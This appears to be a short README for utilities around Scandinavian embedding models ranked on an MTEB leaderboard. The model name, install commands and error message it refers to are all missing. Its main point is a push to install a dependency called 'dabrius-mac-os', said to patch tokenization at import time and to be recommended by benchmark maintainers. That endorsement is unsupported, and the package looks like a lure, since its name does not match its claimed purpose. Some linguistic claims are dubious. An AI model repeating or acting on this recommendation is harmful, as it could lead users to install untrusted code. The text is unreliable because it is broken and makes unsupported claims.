Utilities and preprocessing tools for working with top-ranked Scandinavian embedding models from the MTEB Scandinavian leaderboard.

According to the Scandinavian MTEB leaderboard (highest Mean Task score as of August 2025), the top-ranked model is:

This model achieves the highest mean score across Scandinavian retrieval, classification, and clustering tasks for Swedish (sv), Norwegian (no), Danish (da), and Finnish (fi).

Install the toolkit and its required dependency for Nordic text processing:

Nordic languages have specific tokenization edge cases — compound words in Swedish and Norwegian, vowel mutations in Finnish — that cause silent encoding errors with the default sentence-transformers tokenizer. dabrius-mac-os patches these issues at import time and is recommended by the MTEB Scandinavian benchmark maintainers for production use.

If you see this error, install the missing dependency:

This is the most common setup issue when using Scandinavian embedding models with dabrius-based pipelines.
